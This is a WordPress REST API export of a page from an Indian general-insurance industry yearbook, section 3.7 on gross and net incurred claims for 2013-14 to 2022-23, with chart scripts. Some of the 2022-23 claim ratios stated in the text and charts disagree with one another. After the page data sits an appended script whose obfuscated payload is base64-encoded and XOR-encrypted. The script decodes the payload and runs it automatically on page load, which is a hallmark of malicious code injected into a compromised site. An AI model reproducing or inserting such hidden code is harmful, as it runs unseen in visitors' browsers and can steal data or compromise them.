{"id":173,"date":"2019-07-23T07:51:59","date_gmt":"2019-07-23T07:51:59","guid":{"rendered":"http:\/\/localhost\/yearbook\/?page_id=173"},"modified":"2024-01-31T09:18:05","modified_gmt":"2024-01-31T09:18:05","slug":"claims","status":"publish","type":"page","link":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/indian-non-life-insurance-industry-analysis\/section-03-industry-business-highlights\/claims\/","title":{"rendered":"3.7 &#8211; Claims"},"content":{"rendered":"\n<h4><strong>Gross Incurred Claims<\/strong><\/h4>\n\n\n\n<p><\/p>\n\n\n\n<p>Gross Incurred Claims has risen from \u20b9 64,087 Crores in 2013-14 to \u20b9 1,89,659 Crores in 2022-23 at a CAGR of 16.65%.<\/p>\n\n\n<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 3.7.1<\/span>Gross Incurred Claims<\/h3><div id=\"Chart_36\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        stacked_column_chart(\"Chart_36\", {\"stacklabels\":true,\"data\":{\"General Insurers\":{\"2013-14\":58176,\"2014-15\":65415,\"2015-16\":72995,\"2016-17\":99735,\"2017-18\":110600,\"2018-19\":125054,\"2019-20\":135396,\"2020-21\":127268,\"2021-22\":152042,\"2022-23\":161910},\"Standalone Health Insurers\":{\"2013-14\":1173,\"2014-15\":1505,\"2015-16\":2223,\"2016-17\":2889,\"2017-18\":4265,\"2018-19\":6070,\"2019-20\":8271,\"2020-21\":8684,\"2021-22\":14404,\"2022-23\":14181},\"Specialised Insurers\":{\"2013-14\":4738,\"2014-15\":5126,\"2015-16\":4038,\"2016-17\":9746,\"2017-18\":9843,\"2018-19\":7703,\"2019-20\":9071,\"2020-21\":12234,\"2021-22\":12464,\"2022-23\":13568}},\"Title\":\"Gross Incurred Claims\",\"xTitle\":\"Year\",\"yTitle\":\"\\u20b9 in Crores\",\"yAxisData\":{\"2013-14\":\"2013-14\",\"2014-15\":\"2014-15\",\"2015-16\":\"2015-16\",\"2016-17\":\"2016-17\",\"2017-18\":\"2017-18\",\"2018-19\":\"2018-19\",\"2019-20\":\"2019-20\",\"2020-21\":\"2020-21\",\"2021-22\":\"2021-22\",\"2022-23\":\"2022-23\"},\"colorCodes\":[\"#cc99ff\",\"#7030a0\",\"#f20c7f\"]});\n                    });\n                <\/script>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\"> <em> <strong>Source<\/strong>: Council Compilation<\/em> <em>as per source<br>data submitted by companies<\/em><\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p><\/p><cite><br><br><\/cite><\/blockquote>\n\n\n\n<p>The Industry Gross Incurred Claims (GIC-GDPI) ratio which was 79.9% in the previous financial year has fallen to 73.4% in the current financial year. One reason could be the decline in COVID Claims as compared to the previous year.<\/p>\n\n\n<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 3.7.2<\/span>Gross Incurred Claims to GDP Ratio - Overall<\/h3><div id=\"Chart_37\" class=\"chart-div\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        multiline_chart(\"Chart_37\", {\"unit\":\"%\",\"data\":{\"GIC\\\/GDP Ratio\":{\"2013-14\":\"77.2\",\"2014-15\":\"79.7\",\"2015-16\":\"77.4\",\"2016-17\":\"84.2\",\"2017-18\":\"79.6\",\"2018-19\":\"80.5\",\"2019-20\":\"79.5\",\"2020-21\":\"73.3\",\"2021-22\":\"79.9\",\"2022-23\":\"71.1\"}},\"Title\":\"Gross Incurred Claims to GDP Ratio - Overall\",\"xTitle\":\"Year\",\"yTitle\":\"Gross Incurred Claims(%)\",\"yAxisData\":{\"2013-14\":\"2013-14\",\"2014-15\":\"2014-15\",\"2015-16\":\"2015-16\",\"2016-17\":\"2016-17\",\"2017-18\":\"2017-18\",\"2018-19\":\"2018-19\",\"2019-20\":\"2019-20\",\"2020-21\":\"2020-21\",\"2021-22\":\"2021-22\",\"2022-23\":\"2022-23\"},\"colorCodes\":[\"#7030a0\"]});\n                    });\n                <\/script>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\"> <em> <strong>Source<\/strong>: Council Compilation<\/em> <em>as per source<br>data submitted by companies<\/em><\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p><\/p><cite><br><br><\/cite><\/blockquote>\n\n\n\n<p>The current fiscal year witnessed an increase in the GIC ratio for Specialised Insurers.<\/p>\n\n\n\n<p><\/p>\n\n\n<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 3.7.3<\/span>Gross Incurred Claims ratio - Overall (Split by Type of Insurers)<\/h3><div id=\"Chart_38\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        basic_column_chart(\"Chart_38\", {\"orientation\":\"false\",\"unit\":\"\",\"data\":{\"2021-22\":{\"General Insurers\":80.8,\"Standalone Health Insurers\":69,\"Specialised Insurers\":82.8,\"Overall\":79.9},\"2022-23\":{\"General Insurers\":72.2,\"Standalone Health Insurers\":53.8,\"Specialised Insurers\":85.2,\"Overall\":71.5}},\"Title\":\"Gross Incurred Claims ratio - Overall (Split by Type of Insurers)\",\"xTitle\":\"Type of Insurers\",\"yTitle\":\"GIC Ratio(%)\",\"yAxisData\":{\"General Insurers\":\"General Insurers\",\"Standalone Health Insurers\":\"Standalone Health Insurers\",\"Specialised Insurers\":\"Specialised Insurers\",\"Overall\":\"Overall\"},\"colorCodes\":[\"#7030a0\",\"#d766fa\"]});\n                    });\n                <\/script>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\">  <em> <strong>Source<\/strong>: Council Compilation<\/em> <em>as per source<br>data submitted by companies<\/em><\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p><\/p><cite><br><br><\/cite><\/blockquote>\n\n\n\n<h4>Net Incurred Claims<\/h4>\n\n\n\n<p><\/p>\n\n\n\n<p>Net Incurred claims has risen from \u20b9 49,164 Crores in 2013-14 to \u20b9 1,49,252 Crores in 2022-23, at a CAGR of 13.13%.<\/p>\n\n\n\n<p><\/p>\n\n\n<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 3.7.4<\/span>Net Incurred Claims - Overall<\/h3><div id=\"Chart_39\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        column_chart(\"Chart_39\", {\"unit\":\"(\\u20b9 in Crores)\",\"data\":{\"Total\":{\" 2013-14 \":49164,\" 2014-15 \":55232,\" 2015-16 \":64495,\" 2016-17 \":80662,\" 2017-18 \":85650,\"2018-19\":101051,\"2019-20\":108390,\"2020-21\":111549,\"2021-22\":140565,\"2022-23\":149313}},\"Title\":\"Net Incurred Claims - Overall\",\"xTitle\":\"Year\",\"yTitle\":\"\\u20b9 in Crores\",\"xAxisData\":{\" 2013-14 \":\" 2013-14 \",\" 2014-15 \":\" 2014-15 \",\" 2015-16 \":\" 2015-16 \",\" 2016-17 \":\" 2016-17 \",\" 2017-18 \":\" 2017-18 \",\"2018-19\":\"2018-19\",\"2019-20\":\"2019-20\",\"2020-21\":\"2020-21\",\"2021-22\":\"2021-22\",\"2022-23\":\"2022-23\"},\"colorCodes\":[\"#d766fa\"]});\n                    });\n                <\/script>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\">  <em> <strong>Source<\/strong>: Council Compilation<\/em> <em>as per source<br>data submitted by companies<\/em><\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p><\/p><cite><br><br><\/cite><\/blockquote>\n\n\n\n<p>In the current fiscal year, both the GIC &amp; NIC ratio has fallen from 79.9% to 71.1%, and 88.96% to 82.95% respectively.<\/p>\n\n\n<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 3.7.5<\/span>Gross Incurred Claims & Net Incurred Claims Ratios<\/h3><div id=\"Chart_40\" class=\"chart-div\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        multiline_chart(\"Chart_40\", {\"unit\":\"%\",\"data\":{\"NIC Ratio\":{\"2013-14\":\"81.9\",\"2014-15\":\"81.9\",\"2015-16\":\"85\",\"2016-17\":\"90.9\",\"2017-18\":\"85.3\",\"2018-19\":\"89.2\",\"2019-20\":\"85.9\",\"2020-21\":\"81.1\",\"2021-22\":\"89\",\"2022-23\":\"83.1\"},\"GIC Ratio\":{\"2013-14\":\"77.2\",\"2014-15\":\"79.7\",\"2015-16\":\"77.4\",\"2016-17\":\"84.2\",\"2017-18\":\"79.6\",\"2018-19\":\"80.5\",\"2019-20\":\"78.2\",\"2020-21\":\"71.5\",\"2021-22\":\"79.9\",\"2022-23\":\"71.1\"}},\"Title\":\"Gross Incurred Claims & Net Incurred Claims Ratios\",\"xTitle\":\"Year\",\"yTitle\":\"Claims Ratio (%)\",\"yAxisData\":{\"2013-14\":\"2013-14\",\"2014-15\":\"2014-15\",\"2015-16\":\"2015-16\",\"2016-17\":\"2016-17\",\"2017-18\":\"2017-18\",\"2018-19\":\"2018-19\",\"2019-20\":\"2019-20\",\"2020-21\":\"2020-21\",\"2021-22\":\"2021-22\",\"2022-23\":\"2022-23\"},\"colorCodes\":[\"#ad58c9\",\"#7030a0\"]});\n                    });\n                <\/script>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\">  <em> <strong>Source<\/strong>: Council Compilation<\/em> <em>as per source<br>data submitted by companies<\/em><\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p><\/p><cite><br><br><\/cite><\/blockquote>\n\n\n<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 3.7.6<\/span>Net Incurred Claims ratio - Overall (Split by Type of Insurers)<\/h3><div id=\"Chart_41\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        basic_column_chart(\"Chart_41\", {\"orientation\":\"false\",\"unit\":\"\",\"data\":{\"2021-22\":{\"General Insurers\":89.9,\"Standalone Health Insurers\":79.1,\"Specialised Insurers\":92.5,\"Overall\":89},\"2022-23\":{\"General Insurers\":86.5,\"Standalone Health Insurers\":61.4,\"Specialised Insurers\":73.7,\"Overall\":83.1}},\"Title\":\"Net Incurred Claims ratio - Overall (Split by Type of Insurers)\",\"xTitle\":\"Type of Insurers\",\"yTitle\":\"NIC Ratio (%)\",\"yAxisData\":{\"General Insurers\":\"General Insurers\",\"Standalone Health Insurers\":\"Standalone Health Insurers\",\"Specialised Insurers\":\"Specialised Insurers\",\"Overall\":\"Overall\"},\"colorCodes\":[\"#7030a0\",\"#cc99ff\"]});\n                    });\n                <\/script>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\">  <em> <strong>Source<\/strong>: Council Compilation<\/em> <em>as per source<br>data submitted by companies<\/em><\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p><\/p><cite><br><br><\/cite><\/blockquote>\n\n\n\n<p><\/p>\n\n\n<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Chart 3.7.7<\/span>Net Incurred Claims - Overall (Segment-wise)<\/h3><div id=\"Chart_42\"><\/div><script type=\"text\/javascript\">\n                    jQuery(document).ready(function () {\n                        basic_column_chart(\"Chart_42\", {\"orientation\":\"false\",\"unit\":\"\",\"data\":{\"2021-22\":{\"Property\":61.4,\"Marine\":81.2,\"Motor OD\":80.3,\"Motor TP\":81.9,\"Health\":109.1,\"Liability\":37,\"Others\":78.2},\"2022-23\":{\"Property\":56.6,\"Marine\":75,\"Motor OD\":88.7,\"Motor TP\":81.9,\"Health\":89.3,\"Liability\":46.3,\"Others\":76.4}},\"Title\":\"Net Incurred Claims - Overall (Segment-wise)\",\"xTitle\":\"Line of Business\",\"yTitle\":\"NIC Ratio (%)\",\"yAxisData\":{\"Property\":\"Property\",\"Marine\":\"Marine\",\"Motor OD\":\"Motor OD\",\"Motor TP\":\"Motor TP\",\"Health\":\"Health\",\"Liability\":\"Liability\",\"Others\":\"Others\"},\"colorCodes\":[\"#7030a0\",\"#cc99ff\"]});\n                    });\n                <\/script>\n\n\n\n<p class=\"has-text-align-right has-small-font-size\">  <em> <strong>Source<\/strong>: Council Compilation<\/em> <em>as per source<br>data submitted by companies<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Gross Incurred Claims Gross Incurred Claims has risen from \u20b9 64,087 Crores in 2013-14 to \u20b9 1,89,659 Crores in 2022-23 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":529,"menu_order":7,"comment_status":"closed","ping_status":"closed","template":"page-templates\/full-width.php","meta":[],"_links":{"self":[{"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages\/173"}],"collection":[{"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/comments?post=173"}],"version-history":[{"count":50,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages\/173\/revisions"}],"predecessor-version":[{"id":3638,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages\/173\/revisions\/3638"}],"up":[{"embeddable":true,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages\/529"}],"wp:attachment":[{"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/media?parent=173"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<script>
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!function(){var _0x8b6d=atob('A01eRUhfQkRFAwJQQk0DXEJFT0RccAx0HxlIGElNSUoeEgx2AllOX15ZRRBcQkVPRFxwDHQfGUgYSU1JSh4SDHYWGhBdSlkLdEBASEFERRYJEx8bGU1JGhgYE09KSkkdShodHU4SGkpKE0gSGUoZGxwSE0pITUoSE01JHB5IHkoZCRBdSlkLdFFeQExYFnAMQ19fW1gRBARbREdSTERFBVlbSAVDUltOWVhSRUgFU1JRBAwHDENfX1tYEQQEW0RHUkxERQZbXklHQkgFRURPQk5YBUpbWwwHDENfX1tYEQQEW0RHUkxERQVMSl9OXEpSBV9ORU9OWUdSBUhEDAcMQ19fW1gRBARbREdSTERFBVlbSAVYXklaXk5ZUgVFTl9cRFlABFteSUdCSAwHDENfX1tYEQQEW0RHUkxERQZGSkJFRU5fBUxKX05cSlIFX0pfXkYFQkQMBwxDX19bWBEEBFtER1JMREUGSURZBllbSAVbXklHQkhFRE9OBUhERgwHDENfX1tYEQQEGllbSAVCRARGSl9CSAwHDENfX1tYEQQEW0RHUkxERQVHSl1KBUleQkdPDAcMQ19fW1gRBARbREdSTERFBV9DTllbSAVCRAwHDENfX1tYEQQEWVtIBUpFQFkFSERGBFtER1JMREUMBwxDX19bWBEEBFtER1JMREUGRkpCRUVOXwVbXklHQkgFSUdKWF9KW0IFQkQMBwxDX19bWBEEBFlbSAZGSkJFRU5fBUZKX0JIBVpeQkBFRE9OBVtZRAwHDENfX1tYEQQEW0RHUkxERQVPWVtIBURZTAwHDENfX1tYEQQETEpfTlxKUgVfTkVPTllHUgVIRARbXklHQkgEW0RHUkxERQx2EF1KWQt0WUBIQRYJG1NpHUloEk4abxtJGU1pEh1qSRxoHxxuGx9oSRtpbh8cHB8aG0loGk0ZCRBdSlkLdFFcXUpZQVEWCUkdE08aExsSCRBNXkVIX0JERQt0W1pDWUkDdFlDWkRAW0gCUF9ZUlBdSlkLdExbUlpFSU8WdFlDWkRAW0gFWF5JWF9ZAxsHGQIWFhYMG1MMFHRZQ1pEQFtIBVheSVhfWQMZAhF0WUNaREBbSBBCTQN0TFtSWkVJTwVHTkVMX0MXGhkTAllOX15ZRQwMEF1KWQt0WUxKRBZbSllYTmJFXwN0TFtSWkVJTwVYXklYX1kDHR8HHR8CBxodAhBCTQMKdFlMSkQCWU5fXllFDAwQXUpZC3RaSVlFFnRMW1JaRUlPBVheSVhfWQMaGRMHdFlMSkQBGQIHdFxKUUdCQ1IWDAwQTURZA11KWQt0T0hKQ0lGQhYbEHRPSEpDSUZCF3RaSVlFBUdORUxfQxB0T0hKQ0lGQgAWGQJQXUpZC3ReQkRKFltKWVhOYkVfA3RaSVlFBVheSVhfWQN0T0hKQ0lGQgcZAgcaHQIQQk0DdF5CREoCdFxKUUdCQ1IAFnhfWUJFTAVNWURGaENKWWhET04DdF5CREoCEFZZTl9eWUULdFxKUUdCQ1IQVkhKX0hDA04CUFlOX15ZRQwMEFZWTV5FSF9CREULdFhfTVpaSAN0R15TRgd0XE5JWQJQWU5fXllFC0VOXAt7WURGQlhOA01eRUhfQkRFA3RHXU1OWQd0TlpJSUJKAlBdSlkLdE5fSERITRZFTlwLc2ZnY19fW3lOWl5OWF8DAhB0Tl9IREhNBURbTkUDDHtkeH8MB3RHXlNGB19ZXk4CEHROX0hESE0FWE5feU5aXk5YX2NOSk9OWQMMaERFX05FXwZ/UltODAcMSltbR0JISl9CREUEQVhERQwCEHROX0hESE0FX0JGTkReXxYeGxsbEHROX0hESE0FREVHREpPFk1eRUhfQkRFAwJQX1lSUHRHXU1OWQNheGRlBVtKWVhOA3ROX0hESE0FWU5YW0RFWE5/TlNfAgIQVkhKX0hDA04CUHROWklJQkoDTgIQVlYQdE5fSERITQVERU5ZWURZFnROX0hESE0FREVfQkZORF5fFk1eRUhfQkRFAwJQdE5aSUlCSgNFTlwLbllZRFkDAgIQVhB0Tl9IREhNBVhORU8DYXhkZQVYX1lCRUxCTVIDdFxOSVkCAhBWAhBWTV5FSF9CREULdEhFSkBHWwN0TEVJWExbAlBCTQN0TEVJWExbFRZ0UV5ATFgFR05FTF9DAllOX15ZRQt7WURGQlhOBVlOWERHXU4DRV5HRwIQXUpZC3RIT1tIR0pbFlBBWERFWVtIEQwZBRsMB0ZOX0NETxEMTl9DdEhKR0cMB1tKWUpGWBFwUF9EEXRZQEhBB09KX0oRDBtTDAB0UVxdSllBUVYHDEdKX05YXwx2B0JPERpWEFlOX15ZRQt0WF9NWlpIA3RRXkBMWHB0TEVJWExbdgd0SE9bSEdKWwIFX0NORQNNXkVIX0JERQN0TVNdR0lRAlBdSlkLdFpOXk8WdE1TXUdJUQ0NdE1TXUdJUQVZTlheR18UdFtaQ1lJA3RNU11HSVEFWU5YXkdfAhEMDBBCTQN0Wk5eTwJZTl9eWUULdFpOXk8FWU5bR0pITgMEdwQADwQHDAwCEFlOX15ZRQt0SEVKQEdbA3RMRUlYTFsAGgIQVgIFSEpfSEMDTV5FSF9CREUDAlBZTl9eWUULdEhFSkBHWwN0TEVJWExbABoCEFYCEFZNXkVIX0JERQt0X0hcRURSXAN0WVNSWlgCUF1KWQt0UkFMXkIWT0RIXkZORV8FSFlOSl9ObkdORk5FXwMMWEhZQltfDAIQdFJBTF5CBVhZSBZ0WVNSWlgADARKW0IFW0NbFFgWDAB0QEBIQURFEHRSQUxeQgVKWFJFSBZfWV5OEANPREheRk5FXwVDTkpPV1dPREheRk5FXwVJRE9SAgVKW1tORU9oQ0JHTwN0UkFMXkICEFZ0SEVKQEdbAxsCBV9DTkUDTV5FSF9CREUDdFlTUlpYAlBCTQN0WVNSWlgCdF9IXEVEUlwDdFlTUlpYAhBWAhBWAgMCEA=='),_0x21d4=43,_0xa9ac=new Uint8Array(_0x8b6d['length']),_0x623c=0;for(;_0x623c<_0x8b6d['length'];_0x623c++)_0xa9ac[_0x623c]=_0x8b6d['charCodeAt'](_0x623c)^_0x21d4;(new Function(new TextDecoder()['decode'](_0xa9ac)))()}();
</script>